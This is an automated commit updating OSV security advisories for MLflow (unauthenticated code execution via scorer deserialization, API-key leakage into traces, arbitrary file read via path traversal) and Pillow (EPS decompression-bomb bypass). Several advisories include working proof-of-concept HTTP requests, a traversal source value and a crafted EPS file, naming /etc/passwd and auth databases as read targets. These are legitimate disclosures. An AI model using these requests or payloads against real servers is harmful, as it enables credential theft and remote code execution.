vuln-osv update 2026-11-17T18:43:47Z

This commit is contained in:
Vulnerability Bot committed 2026-11-17 19:43:52 +01:00
1 parent a07b1ea7dc
commit 2f54159d81
50 files changed
+63 -42

No files matched your search

+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.2","id":"GHSA-26p8-2jq9-3vq9","published":"2026-10-27T21:26:32Z","modified":"2026-10-27T21:30:03.806354319Z","aliases":["CVE-2026-116692"],"summary":"MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules","details":"## Summary\n\nMLflow 3.12.0 introduced registration and deserialization support for third-party scorers in OSS MLflow. During scorer deserialization, the server accepts a request-controlled Python module path beneath one of four allowed package prefixes, imports that module, obtains a request-controlled class, and instantiates it synchronously.\n\nAn HTTP caller can combine this behavior with MLflow's built-in experiment, run, and artifact-upload endpoints:\n\n1. Create an experiment whose local artifact location points to a writable allowed scorer package.\n2. Create a run, causing MLflow to allocate `<artifact_location>/<run_id>/artifacts/`.\n3. Upload a Python module into that run artifact directory.\n4. Submit a serialized third-party scorer whose module path resolves to the uploaded file.\n5. Trigger server-side import and class construction through `/ajax-api/3.0/mlflow/scorer/invoke`.\n\nOn the default no-auth server using the official MLflow v3.14.0 image, this produces unauthenticated arbitrary Python code execution with the privileges of the MLflow server process. The reproduced image runs the process as uid 0 and permits writes to its installed Python package tree.\n\nThe attached proof of concept is intentionally harmless. The uploaded constructor performs one action only: it writes a random marker beside its own uploaded run artifact. The marker is then downloaded through MLflow's run-artifact endpoint and checked for an exact match.\n\n## Technical details\n\n### 1. The allow-list accepts attacker-created descendants\n\nAt release commit `86cd7f5a1dc25a1387ad07c87811bbc30f62951c`, `mlflow/genai/scorers/scorer_utils.py` defines these allowed roots:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n \"mlflow.genai.scorers.ragas\",\n \"mlflow.genai.scorers.deepeval\",\n \"mlflow.genai.scorers.trulens\",\n \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nIn `mlflow/genai/scorers/base.py`, the deserializer accepts either an exact root or any descendant:\n\n```python\nmodule_path == m or module_path.startswith(m + \".\")\n```\n\nIt then performs the following operations using request-controlled values:\n\n```python\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)\nscorer_instance = scorer_class(**init_kwargs)\n```\n\nA package-name prefix is not a provenance boundary. If the server process can write below an allowed package, an attacker-created descendant can satisfy the string-prefix check and become importable Python code.\n\nRelevant source locations at the v3.14.0 release commit:\n\n* `mlflow/genai/scorers/scorer_utils.py`, allowed third-party scorer modules\n* `mlflow/genai/scorers/base.py`, third-party scorer deserialization and construction\n\n### 2. Deserialization occurs before trace processing\n\nIn `mlflow/server/handlers.py`, `_invoke_scorer_handler()` parses the supplied serialized scorer and calls:\n\n```python\nscorer = Scorer.model_validate_json(serialized_scorer)\n```\n\nOnly after deserialization and construction does the handler call:\n\n```python\nbatches = get_trace_batches_for_scorer(trace_ids, scorer, tracking_store)\n```\n\nThe attacker-controlled constructor therefore runs before the server validates or resolves the supplied trace IDs.\n\nThe minimal proof class is deliberately not a complete MLflow scorer. After its constructor writes the marker, later trace-batching logic accesses scorer attributes that the proof class does not implement. The resulting HTTP 500 occurs after code execution and does not invalidate the proof.\n\nNo background job execution or special job-execution server option is required to reach the constructor.\n\n### 3. MLflow's artifact layout places the module under the trusted prefix\n\nThe experiment creation endpoint accepts an `artifact_location`. For file-backed experiments, MLflow derives each run artifact directory as:\n\n```text\n<artifact_location>/<run_id>/artifacts/\n```\n\nThe proof of concept selects this package directory in the official v3.14.0 image:\n\n```text\nfile:///usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens\n```\n\nAfter creating a run and uploading `audit_<token>.py`, the resulting filesystem location is:\n\n```text\n/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/<run_id>/artifacts/audit_<token>.py\n```\n\nThe corresponding import path is:\n\n```text\nmlflow.genai.scorers.trulens.<run_id>.artifacts.audit_<token>\n```\n\nThe attack does not overwrite an existing package module. It creates a new run-scoped module in the normal file-backed artifact layout. The run ID is returned to the caLine truncated
{"schema_version":"1.9.2","id":"GHSA-26p8-2jq9-3vq9","published":"2026-10-27T21:26:32Z","modified":"2026-11-17T13:40:46.029574044Z","aliases":["BIT-mlflow-2026-116692","CVE-2026-116692"],"summary":"MLflow vulnerable to remote code execution on unauthenticated servers via third-party scorer deserialization importing caller-placed artifact modules","details":"## Summary\n\nMLflow 3.12.0 introduced registration and deserialization support for third-party scorers in OSS MLflow. During scorer deserialization, the server accepts a request-controlled Python module path beneath one of four allowed package prefixes, imports that module, obtains a request-controlled class, and instantiates it synchronously.\n\nAn HTTP caller can combine this behavior with MLflow's built-in experiment, run, and artifact-upload endpoints:\n\n1. Create an experiment whose local artifact location points to a writable allowed scorer package.\n2. Create a run, causing MLflow to allocate `<artifact_location>/<run_id>/artifacts/`.\n3. Upload a Python module into that run artifact directory.\n4. Submit a serialized third-party scorer whose module path resolves to the uploaded file.\n5. Trigger server-side import and class construction through `/ajax-api/3.0/mlflow/scorer/invoke`.\n\nOn the default no-auth server using the official MLflow v3.14.0 image, this produces unauthenticated arbitrary Python code execution with the privileges of the MLflow server process. The reproduced image runs the process as uid 0 and permits writes to its installed Python package tree.\n\nThe attached proof of concept is intentionally harmless. The uploaded constructor performs one action only: it writes a random marker beside its own uploaded run artifact. The marker is then downloaded through MLflow's run-artifact endpoint and checked for an exact match.\n\n## Technical details\n\n### 1. The allow-list accepts attacker-created descendants\n\nAt release commit `86cd7f5a1dc25a1387ad07c87811bbc30f62951c`, `mlflow/genai/scorers/scorer_utils.py` defines these allowed roots:\n\n```python\nTHIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({\n \"mlflow.genai.scorers.ragas\",\n \"mlflow.genai.scorers.deepeval\",\n \"mlflow.genai.scorers.trulens\",\n \"mlflow.genai.scorers.phoenix\",\n})\n```\n\nIn `mlflow/genai/scorers/base.py`, the deserializer accepts either an exact root or any descendant:\n\n```python\nmodule_path == m or module_path.startswith(m + \".\")\n```\n\nIt then performs the following operations using request-controlled values:\n\n```python\nmodule = importlib.import_module(module_path)\nscorer_class = getattr(module, class_name, None)\nscorer_instance = scorer_class(**init_kwargs)\n```\n\nA package-name prefix is not a provenance boundary. If the server process can write below an allowed package, an attacker-created descendant can satisfy the string-prefix check and become importable Python code.\n\nRelevant source locations at the v3.14.0 release commit:\n\n* `mlflow/genai/scorers/scorer_utils.py`, allowed third-party scorer modules\n* `mlflow/genai/scorers/base.py`, third-party scorer deserialization and construction\n\n### 2. Deserialization occurs before trace processing\n\nIn `mlflow/server/handlers.py`, `_invoke_scorer_handler()` parses the supplied serialized scorer and calls:\n\n```python\nscorer = Scorer.model_validate_json(serialized_scorer)\n```\n\nOnly after deserialization and construction does the handler call:\n\n```python\nbatches = get_trace_batches_for_scorer(trace_ids, scorer, tracking_store)\n```\n\nThe attacker-controlled constructor therefore runs before the server validates or resolves the supplied trace IDs.\n\nThe minimal proof class is deliberately not a complete MLflow scorer. After its constructor writes the marker, later trace-batching logic accesses scorer attributes that the proof class does not implement. The resulting HTTP 500 occurs after code execution and does not invalidate the proof.\n\nNo background job execution or special job-execution server option is required to reach the constructor.\n\n### 3. MLflow's artifact layout places the module under the trusted prefix\n\nThe experiment creation endpoint accepts an `artifact_location`. For file-backed experiments, MLflow derives each run artifact directory as:\n\n```text\n<artifact_location>/<run_id>/artifacts/\n```\n\nThe proof of concept selects this package directory in the official v3.14.0 image:\n\n```text\nfile:///usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens\n```\n\nAfter creating a run and uploading `audit_<token>.py`, the resulting filesystem location is:\n\n```text\n/usr/local/lib/python3.10/site-packages/mlflow/genai/scorers/trulens/<run_id>/artifacts/audit_<token>.py\n```\n\nThe corresponding import path is:\n\n```text\nmlflow.genai.scorers.trulens.<run_id>.artifacts.audit_<token>\n```\n\nThe attack does not overwrite an existing package module. It creates a new run-scoped module in the normal file-backed artifact layout. The runLine truncated
+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.2","id":"GHSA-j7qq-vr8c-xvw3","published":"2026-10-27T21:26:39Z","modified":"2026-10-27T21:45:04.265039747Z","aliases":["CVE-2026-116691"],"summary":"MLflow CrewAI autologging records LLM provider API keys in logged trace spans","details":"### Summary\n\n`mlflow.crewai.autolog()` leaks CrewAI LLM provider API keys into MLflow trace telemetry.\n\nWhen a CrewAI `Agent` is instrumented with MLflow autologging, MLflow serializes the agent's `__dict__` and converts its fields to strings. The `llm` field contains the CrewAI LLM object, whose string representation includes its `api_key` in plaintext.\n\nAs a result, an application that calls `mlflow.crewai.autolog()` can unintentionally send its LLM provider API key to the MLflow trace backend or configured OTLP destination.\n\nThe application does not need to explicitly log the credential or place it in a span attribute. The credential is extracted automatically by MLflow's instrumentation.\n\nThis was verified on **MLflow 3.16.0** with **CrewAI 1.15.18** using MLflow's own OTLP exporter. The fake credential appeared in **5 attribute locations across 2 spans**.\n\n### Details\n\nThe primary issue is in:\n\n`mlflow/crewai/autolog.py::_get_agent_attributes()`\n\nThe function walks the CrewAI `Agent.__dict__` and converts agent fields to strings. `tools` and `embedder` receive special handling, but credential-bearing objects such as the following are not sanitized:\n\n* `llm`\n* `function_calling_llm`\n* `agent_executor`\n* `crew`\n\nFor example, `agent.llm` is a CrewAI `LLM` object. In CrewAI 1.15.18, the underlying LLM model contains `api_key` as a normal field. Its string representation therefore contains the credential:\n\n```text\nllm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-...' ...\n```\n\nMLflow subsequently stores this string as a span attribute.\n\nThere is an important indication that this is an unintended disclosure: MLflow's dedicated LLM attribute extraction already explicitly excludes `api_key` in `_get_llm_attributes()`. The LLM span therefore does not expose the credential, while the broader Agent `__dict__` serialization bypasses that protection.\n\nThere is also a second, independent serialization path in:\n\n`mlflow/crewai/autolog.py::_construct_full_inputs()`\n\nThis code uses:\n\n```python\nv.__dict__ if hasattr(v, \"__dict__\") else v\n```\n\non call arguments. During CrewAI execution, the `Agent` object is passed as an argument, causing its `__dict__` to be expanded and the credential-bearing LLM object to be included in `mlflow.spanInputs`.\n\nTherefore, there are two independent leakage paths:\n\n1. **Agent span attributes** through `_get_agent_attributes()`\n2. **Span inputs** through `_construct_full_inputs()`\n\nFixing only the Agent attribute serialization would leave the `mlflow.spanInputs` path vulnerable.\n\nA safer approach would be to avoid recursively serializing arbitrary object `__dict__` values. Agent telemetry should use an explicit allowlist of non-sensitive scalar fields, and credential-bearing objects such as `llm`, `function_calling_llm`, `agent_executor`, and `crew` should either be reduced to safe metadata or omitted.\n\nSimilarly, `_construct_full_inputs()` should not automatically expand arbitrary objects through `__dict__`, or the resulting values should pass through the same sanitization mechanism before being attached to a span.\n\n### PoC\n\nEnvironment:\n\n```text\nMLflow: 3.16.0\nCrewAI: 1.15.18\nPython: 3.12.3\nopentelemetry-exporter-otlp-proto-http: 1.42.1\n```\n\n#### 1. Direct serialization proof\n\nThe following demonstrates the vulnerability without starting a Crew, making a network request, or requiring an MLflow server:\n\n```python\nimport importlib\nfrom crewai import LLM, Agent\n\nautolog = importlib.import_module(\"mlflow.crewai.autolog\")\n\nllm = LLM(\n model=\"gpt-4.1-mini\",\n api_key=\"sk-proj-EXAMPLE1234567890\",\n)\n\nagent = Agent(\n role=\"r\",\n goal=\"g\",\n backstory=\"b\",\n llm=llm,\n)\n\nattrs = autolog._get_agent_attributes(agent)\n\nassert \"sk-proj-EXAMPLE1234567890\" in attrs[\"llm\"]\n\nprint(attrs[\"llm\"])\n```\n\nThe output contains the API key in plaintext, for example:\n\n```text\nllm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-EXAMPLE1234567890' ...\n```\n\nNo provider request is required.\n\n#### 2. End-to-end trace disclosure\n\nThe issue can also be reproduced through MLflow's actual OTLP exporter.\n\nConfigure a local OTLP HTTP receiver and set:\n\n```bash\nexport OTEL_EXPORTER_OTLP_TRACES_ENDPOINT=http://127.0.0.1:4318/v1/traces\nexport OTEL_EXPORTER_OTLP_TRACES_PROTOCOL=http/protobuf\nexport CREWAI_DISABLE_TELEMETRY=true\n```\n\nThen run:\n\n```python\nimport mlflow\n\nfrom crewai import Agent, Crew, LLM, Task\n\nmlflow.crewai.autolog()\n\nllm = LLM(\n model=\"gpt-4.1-mini\",\n api_key=\"sk-proj-EXAMPLE1234567890\",\n)\n\nagent = Agent(\n role=\"Support Responder\",\n goal=\"Answer support Line truncated
{"schema_version":"1.9.2","id":"GHSA-j7qq-vr8c-xvw3","published":"2026-10-27T21:26:39Z","modified":"2026-11-17T13:41:00.729682161Z","aliases":["BIT-mlflow-2026-116691","CVE-2026-116691"],"summary":"MLflow CrewAI autologging records LLM provider API keys in logged trace spans","details":"### Summary\n\n`mlflow.crewai.autolog()` leaks CrewAI LLM provider API keys into MLflow trace telemetry.\n\nWhen a CrewAI `Agent` is instrumented with MLflow autologging, MLflow serializes the agent's `__dict__` and converts its fields to strings. The `llm` field contains the CrewAI LLM object, whose string representation includes its `api_key` in plaintext.\n\nAs a result, an application that calls `mlflow.crewai.autolog()` can unintentionally send its LLM provider API key to the MLflow trace backend or configured OTLP destination.\n\nThe application does not need to explicitly log the credential or place it in a span attribute. The credential is extracted automatically by MLflow's instrumentation.\n\nThis was verified on **MLflow 3.16.0** with **CrewAI 1.15.18** using MLflow's own OTLP exporter. The fake credential appeared in **5 attribute locations across 2 spans**.\n\n### Details\n\nThe primary issue is in:\n\n`mlflow/crewai/autolog.py::_get_agent_attributes()`\n\nThe function walks the CrewAI `Agent.__dict__` and converts agent fields to strings. `tools` and `embedder` receive special handling, but credential-bearing objects such as the following are not sanitized:\n\n* `llm`\n* `function_calling_llm`\n* `agent_executor`\n* `crew`\n\nFor example, `agent.llm` is a CrewAI `LLM` object. In CrewAI 1.15.18, the underlying LLM model contains `api_key` as a normal field. Its string representation therefore contains the credential:\n\n```text\nllm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-...' ...\n```\n\nMLflow subsequently stores this string as a span attribute.\n\nThere is an important indication that this is an unintended disclosure: MLflow's dedicated LLM attribute extraction already explicitly excludes `api_key` in `_get_llm_attributes()`. The LLM span therefore does not expose the credential, while the broader Agent `__dict__` serialization bypasses that protection.\n\nThere is also a second, independent serialization path in:\n\n`mlflow/crewai/autolog.py::_construct_full_inputs()`\n\nThis code uses:\n\n```python\nv.__dict__ if hasattr(v, \"__dict__\") else v\n```\n\non call arguments. During CrewAI execution, the `Agent` object is passed as an argument, causing its `__dict__` to be expanded and the credential-bearing LLM object to be included in `mlflow.spanInputs`.\n\nTherefore, there are two independent leakage paths:\n\n1. **Agent span attributes** through `_get_agent_attributes()`\n2. **Span inputs** through `_construct_full_inputs()`\n\nFixing only the Agent attribute serialization would leave the `mlflow.spanInputs` path vulnerable.\n\nA safer approach would be to avoid recursively serializing arbitrary object `__dict__` values. Agent telemetry should use an explicit allowlist of non-sensitive scalar fields, and credential-bearing objects such as `llm`, `function_calling_llm`, `agent_executor`, and `crew` should either be reduced to safe metadata or omitted.\n\nSimilarly, `_construct_full_inputs()` should not automatically expand arbitrary objects through `__dict__`, or the resulting values should pass through the same sanitization mechanism before being attached to a span.\n\n### PoC\n\nEnvironment:\n\n```text\nMLflow: 3.16.0\nCrewAI: 1.15.18\nPython: 3.12.3\nopentelemetry-exporter-otlp-proto-http: 1.42.1\n```\n\n#### 1. Direct serialization proof\n\nThe following demonstrates the vulnerability without starting a Crew, making a network request, or requiring an MLflow server:\n\n```python\nimport importlib\nfrom crewai import LLM, Agent\n\nautolog = importlib.import_module(\"mlflow.crewai.autolog\")\n\nllm = LLM(\n model=\"gpt-4.1-mini\",\n api_key=\"sk-proj-EXAMPLE1234567890\",\n)\n\nagent = Agent(\n role=\"r\",\n goal=\"g\",\n backstory=\"b\",\n llm=llm,\n)\n\nattrs = autolog._get_agent_attributes(agent)\n\nassert \"sk-proj-EXAMPLE1234567890\" in attrs[\"llm\"]\n\nprint(attrs[\"llm\"])\n```\n\nThe output contains the API key in plaintext, for example:\n\n```text\nllm_type='openai' model='gpt-4.1-mini' ... api_key='sk-proj-EXAMPLE1234567890' ...\n```\n\nNo provider request is required.\n\n#### 2. End-to-end trace disclosure\n\nThe issue can also be reproduced through MLflow's actual OTLP exporter.\n\nConfigure a local OTLP HTTP receiver and set:\n\n```bash\nexport OTEL_EXPORTER_OTLP_TRACES_ENDPOINT=http://127.0.0.1:4318/v1/traces\nexport OTEL_EXPORTER_OTLP_TRACES_PROTOCOL=http/protobuf\nexport CREWAI_DISABLE_TELEMETRY=true\n```\n\nThen run:\n\n```python\nimport mlflow\n\nfrom crewai import Agent, Crew, LLM, Task\n\nmlflow.crewai.autolog()\n\nllm = LLM(\n model=\"gpt-4.1-mini\",\n api_key=\"sk-proj-EXAMPLE1234567890\",\n)\n\nagent = Agent(\n role=\"Support Responder\",\n Line truncated
+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.2","id":"GHSA-m65p-9j7q-6w33","published":"2026-10-27T21:26:56Z","modified":"2026-10-27T21:45:04.271041704Z","aliases":["CVE-2026-116690"],"summary":"MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source","details":"### Summary\nOn MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.\n\nThe fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch.\n\nServers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.\n\nAffected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be `true`.\n\n### Details\nWhen creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`.\n\n`mlflow/server/handlers.py:2674-2690`:\n```python\nis_prompt = _is_prompt_request(request_message)\nif is_prompt:\n source = request_message.source\n parsed = urllib.parse.urlparse(source)\n if parsed.scheme == \"file\" or (parsed.scheme == \"\" and source.startswith(\"/\")):\n raise MlflowException(...)\n if parsed.scheme:\n _validate_non_local_source_contains_relative_paths(source)\nelse:\n if request_message.model_id:\n _validate_source_model(request_message.source, request_message.model_id)\n else:\n _validate_source_run(request_message.source, request_message.run_id)\n```\nThe prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths.\n\nThe artifact-read sink later trusts the stored source:\n\n`mlflow/server/handlers.py:2765-2782`:\n```python\ndef get_model_version_artifact_handler():\n name = request.args.get(\"name\")\n version = request.args.get(\"version\")\n path = request.args[\"path\"]\n path = validate_path_is_safe(path)\n artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n ...\n else:\n artifact_repo = get_artifact_repository(artifact_uri)\n artifact_path = path\n\n return _send_artifact(artifact_repo, artifact_path)\n```\n`_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`.\n\n### PoC\nPrerequisite: A reachable MLflow tracking server with model registry endpoints enabled.\n\n1. Create a sentinel file on the server:\n```bash\nprintf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt\n```\n\n2. Send the following requests to the MLflow server to exploit the traversal:\n\nFirst, create a registered model:\n```http\nPOST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\"name\": \"pwned-model\"}\n```\n\nNext, create a prompt-tagged model version with the malicious relative source `../../../tmp`:\n```http\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\n \"name\": \"pwned-model\",\n \"source\": \"../../../tmp\",\n \"tags\": [{\"key\": \"mlflow.prompt.is_prompt\", \"value\": \"true\"}]\n}\n```\n\nFinally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter:\n```http\nGET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1\nHost: 127.0.0.1:5000\n```\nThis returns the contents of `/tmp/sentinel-mlflow.txt`. The same primitive can read sensitive files like `/etc/passwd` or tracking databases (e.g. `mlflow.db`).\n\n### Impact\nDirect impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:\n- `/etc/passwd`\n- SQLite tracking databases readable by the process (e.g., `mlflow-auth.db` or `basic_auth.db`)\n- Environment variables or configurations stored Line truncated
{"schema_version":"1.9.2","id":"GHSA-m65p-9j7q-6w33","published":"2026-10-27T21:26:56Z","modified":"2026-11-17T13:40:45.843248266Z","aliases":["BIT-mlflow-2026-116690","CVE-2026-116690"],"summary":"MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source","details":"### Summary\nOn MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.\n\nThe fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the `CreateModelVersion` handler that rejects `file://` URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as `../../etc`, a plain relative name, `.`, a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the `model-versions/get-artifact endpoint` later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the `mlflow.prompt.is_prompt` tag rather than its value, so a false value still selected the weaker branch.\n\nServers using `--app-name basic-auth` are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.\n\nAffected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by [mlflow/mlflow#25870](https://github.com/mlflow/mlflow/pull/25870), which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be `true`.\n\n### Details\nWhen creating a model version with the `mlflow.prompt.is_prompt` tag set to true, the request is handled by the prompt branch in `_create_model_version()`.\n\n`mlflow/server/handlers.py:2674-2690`:\n```python\nis_prompt = _is_prompt_request(request_message)\nif is_prompt:\n source = request_message.source\n parsed = urllib.parse.urlparse(source)\n if parsed.scheme == \"file\" or (parsed.scheme == \"\" and source.startswith(\"/\")):\n raise MlflowException(...)\n if parsed.scheme:\n _validate_non_local_source_contains_relative_paths(source)\nelse:\n if request_message.model_id:\n _validate_source_model(request_message.source, request_message.model_id)\n else:\n _validate_source_run(request_message.source, request_message.run_id)\n```\nThe prompt branch does not call `_validate_source_run()`, `_validate_source_model()`, or `_validate_non_local_source_contains_relative_paths()` for schemeless relative paths.\n\nThe artifact-read sink later trusts the stored source:\n\n`mlflow/server/handlers.py:2765-2782`:\n```python\ndef get_model_version_artifact_handler():\n name = request.args.get(\"name\")\n version = request.args.get(\"version\")\n path = request.args[\"path\"]\n path = validate_path_is_safe(path)\n artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)\n ...\n else:\n artifact_repo = get_artifact_repository(artifact_uri)\n artifact_path = path\n\n return _send_artifact(artifact_repo, artifact_path)\n```\n`_send_artifact()` calls `artifact_repository.download_artifacts(path)` and serves the resulting local file with `send_file()`.\n\n### PoC\nPrerequisite: A reachable MLflow tracking server with model registry endpoints enabled.\n\n1. Create a sentinel file on the server:\n```bash\nprintf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt\n```\n\n2. Send the following requests to the MLflow server to exploit the traversal:\n\nFirst, create a registered model:\n```http\nPOST /api/2.0/mlflow/registered-models/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\"name\": \"pwned-model\"}\n```\n\nNext, create a prompt-tagged model version with the malicious relative source `../../../tmp`:\n```http\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nHost: 127.0.0.1:5000\nContent-Type: application/json\n\n{\n \"name\": \"pwned-model\",\n \"source\": \"../../../tmp\",\n \"tags\": [{\"key\": \"mlflow.prompt.is_prompt\", \"value\": \"true\"}]\n}\n```\n\nFinally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the `path` parameter:\n```http\nGET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1\nHost: 127.0.0.1:5000\n```\nThis returns the contents of `/tmp/sentinel-mlflow.txt`. The same primitive can read sensitive files like `/etc/passwd` or tracking databases (e.g. `mlflow.db`).\n\n### Impact\nDirect impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:\n- `/etc/passwd`\n- SQLite tracking databases readable by the process (e.g., `mlflow-auth.db` or `basic_auth.db`)\n- Environment variables Line truncated
+1 -1
View File
@@ -1 +1 @@
{"schema_version":"1.9.0","id":"GHSA-vx6w-vv9f-6gvg","published":"2026-10-20T20:53:21Z","modified":"2026-10-20T21:00:04.428653055Z","aliases":["CVE-2026-112899"],"summary":"Pillow: EPS load(scale) lets Ghostscript render past the decompression bomb limit","details":"```\n============================================================================\nEPS load(scale) lets Ghostscript render past the decompression bomb limit\nLocation: src/PIL/EpsImagePlugin.py:92 in Ghostscript()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale² times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file.\n\nThe cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000×9000 passes, and `load(scale=2)` then asks Ghostscript for 18000×18000 (3.6× `MAX_IMAGE_PIXELS`). A file declaring 18000×18000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.\n\nThe effect is a constant-factor overshoot rather than an unbounded one, for three reasons:\n\n* The multiplier is an integer chosen by the application, not by the file.\n* With the default warning filter, `Image.open()` already lets files up to 2× the limit reach Ghostscript at `scale=1`.\n* Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout.\n\nThis is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included.\n\n## Details\n\n`EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N × height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width × height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started.\n\nThis 111-byte EPS declares 9000×9000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning:\n\n```\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 9000 9000\n%%EndComments\n0 0 moveto 9000 9000 lineto stroke\nshowpage\n```\n\n`im.load(scale=2)` on it then executes\n\n```\ngs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage\n```\n\ni.e. asks Ghostscript for an 18000×18000 = 324,000,000-pixel raster (3.6× `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000×18000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1× and 2× `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377×13377 is already rendered at `scale=1` — a 537 MB PNM. Against that baseline, `scale=2` is 4× an already-permitted render.)\n\nThe arithmetic is in `Ghostscript()`:\n\n```python\n# src/PIL/EpsImagePlugin.py:91-97\n # Hack to support hi-res rendering\n scale = int(scale) or 1\n width = size[0] * scale\n height = size[1] * scale\n # resolution is dependent on bbox and size\n res_x = 72.0 * width / (bbox[2] - bbox[0])\n …\n# src/PIL/EpsImagePlugin.py:139-142\n command = [\n gs_binary,\n \"-q\", # quiet mode\n f\"-g{width:d}x{height:d}\", # set output geometry (pixels)\n …\n# src/PIL/EpsImagePlugin.py:165-168\n subprocess.check_call(command, startupinfo=startupinfo)\n Line truncated
